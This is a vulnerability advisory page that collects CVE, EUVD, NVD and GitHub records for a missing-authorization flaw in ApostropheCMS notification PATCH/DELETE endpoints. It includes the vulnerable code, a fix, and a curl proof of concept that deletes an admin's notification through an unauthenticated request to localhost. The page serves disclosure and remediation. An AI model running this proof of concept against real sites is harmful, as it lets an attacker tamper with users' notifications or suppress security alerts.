ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.

Source published

20 Oct 2026 17:19:56 UTC

Source modified

28 Oct 2026 13:57:53 UTC

Observed here

28 Oct 2026 15:46:50 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 3.7 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.

Source published

Oct 20, 2026, 5:19:56 PM (timezone not stated)

Source modified

Oct 28, 2026, 1:57:53 PM (timezone not stated)

Observed here

30 Oct 2026 01:57:45 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 3.7 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.

Source published

20 Oct 2026 18:17:19 UTC

Source modified

28 Oct 2026 14:16:56 UTC

Observed here

29 Oct 2026 06:48:04 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 3.7 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

## Summary The notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. --- ## Affected Code **File** ```text packages/apostrophe/modules/@apostrophecms/notification/index.js ``` ```javascript // restApiRoutes async patch(req, _id) { const dismissed = self.apos.launder.boolean(req.body.dismissed); if (dismissed) { await self.emit('beforeSave', req, { _id, dismissed }); await self.db.updateOne( { _id }, { $set: { dismissed }, $currentDate: { updatedAt: true } } ); } }, async delete(req, _id) { await self.db.deleteMany({ _id }); } ``` Unlike the `GET` notification route, these handlers do **not** verify: - Authentication (`req.user`) - Ownership (`userId === req.user._id`) - Authorization or permissions Instead, the supplied `_id` is used directly against the raw MongoDB collection. --- ## Root Cause The notification REST endpoints perform database operations directly using `self.db` without enforcing authentication or authorization. While the framework provides permission primitives (`req.user`, ownership checks, and `apos.permission`), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID. For comparison, the `GET` notification route correctly checks: ```javascript if (!(req.user && req.user._id)) { throw self.apos.error('invalid'); } ``` No equivalent validation exists in the `PATCH` or `DELETE` handlers. --- ## Proof of Concept ### 1. Log in as an administrator ```bash curl -sS -c admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null curl -sS \ -b admin_cookies.txt \ -c admin_cookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "username":"admin", "password":"AdminP@ssw0rd123!", "session":true }' ``` --- ### 2. Create a notification ```bash curl -sS \ -b admin_cookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/notification \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "message":"manual verify test", "type":"info" }' ``` Example response: ```json { "noteId":"p358r7phi2w8l245ww5130uf" } ``` --- ### 3. Verify the notification exists ```bash curl -sS \ -b admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" ``` Response: ```json { "notifications":[ { "_id":"p358r7phi2w8l245ww5130uf", "userId":"i89h844o5n3nbreis0ugusum", "message":"manual verify test" } ], "dismissed":[] } ``` --- ### 4. Access the endpoint without authentication Create a fresh cookie jar containing only the public CSRF cookie: ```bash rm -f anon_cookies.txt curl -sS \ -c anon_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null ``` Then send the request **without any authenticated session**: ```bash curl -i \ -b anon_cookies.txt \ -X DELETE \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \ -H "X-XSRF-TOKEN: csrf" ``` Response: ```http HTTP/1.1 200 OK ``` --- ### 5. Verify the notification has been deleted ```bash curl -sS \ -b admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" ``` Response: ```json { "notifications":[], "dismissed":[] } ``` The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client. --- ## Impact An attacker who obtains a valid notification ID can: - Delete another user's notifications. - Mark another user's notifications as dismissed. - Suppress security-related or administrative notifications. The vulnerability primarily affects **integrity**. Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable. --- ## Recommended Fix Require authentication before processing any modification request. Additionally, scope all database operations to the authenticated user. Example: ```javascript // patch async patch(req, _id) { if (!req.user) { throw self.apos.error('forbidden'); } const dismissed = self.apos.launder.boolean(req.body.dismissed); if (dismissed) { await self.emit('beforeSave', req, { _id, dismissed }); const result = await self.db.updateOne( { _id, userId: req.user._id }, // <-- ownership check { $set: { dismissed }, $currentDate: { updatedAt: true } } ); if (!result.matchedCount) { throw self.apos.error('notfound'); } } }, // delete async delete(req, _id) { if (!req.user) { throw self.apos.error('forbidden'); } const result = await self.db.deleteMany({ _id, userId: req.user._id }); if (!result.deletedCount) { throw self.apos.error('notfound'); } } ``` Similarly, update the `PATCH` handler to verify both authentication and ownership before updating notification records. --- ## Recommendation Every notification modification endpoint should: - Require authentication. - Verify ownership (`userId === req.user._id`). - Return `403 Forbidden` for unauthorized requests. - Avoid performing database operations solely using a user-controlled `_id`. The same authorization checks should also be applied to any internal helper methods (such as `dismiss()`) that modify notification state.

Source published

20 Oct 2026 18:25:38 UTC

Source modified

20 Oct 2026 18:45:09 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Publisher rating · LOW